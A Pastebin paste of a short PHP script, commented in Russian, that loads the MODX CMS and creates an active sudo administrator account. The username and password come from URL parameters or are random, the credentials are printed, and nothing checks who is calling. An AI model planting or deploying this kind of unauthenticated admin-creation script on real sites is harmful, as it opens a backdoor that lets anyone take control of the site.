Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Подключаем
- define('MODX_API_MODE', true);
- $i=0;
- $current_dir = dirname(__FILE__) .'/';
- $index_php = $current_dir .'index.php';
- while (!file_exists($index_php) && $i < 9)
- {
- $current_dir = dirname(dirname($index_php)) .'/';
- $index_php = $current_dir .'index.php';
- $i++;
- }
- if (file_exists($index_php)) { require_once $index_php; }
- else { print "Не удалось найти MODX"; die; }
- $user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
- $pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
- $u = $modx->newObject('modUser');
- $u->fromArray(array(
- 'username' => $user,
- 'password' => $pass,
- 'active' => 1,
- 'primary_group' => 1,
- ));
- $u->setSudo(1);
- $p = $modx->newObject('modUserProfile');
- $p->fromArray(array(
- 'fullname' => $user,
- 'email' => $user.'@mail.ru',
- ));
- $u->addOne($p);
- $u->save();
- if (!empty($u->username)) {
- print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement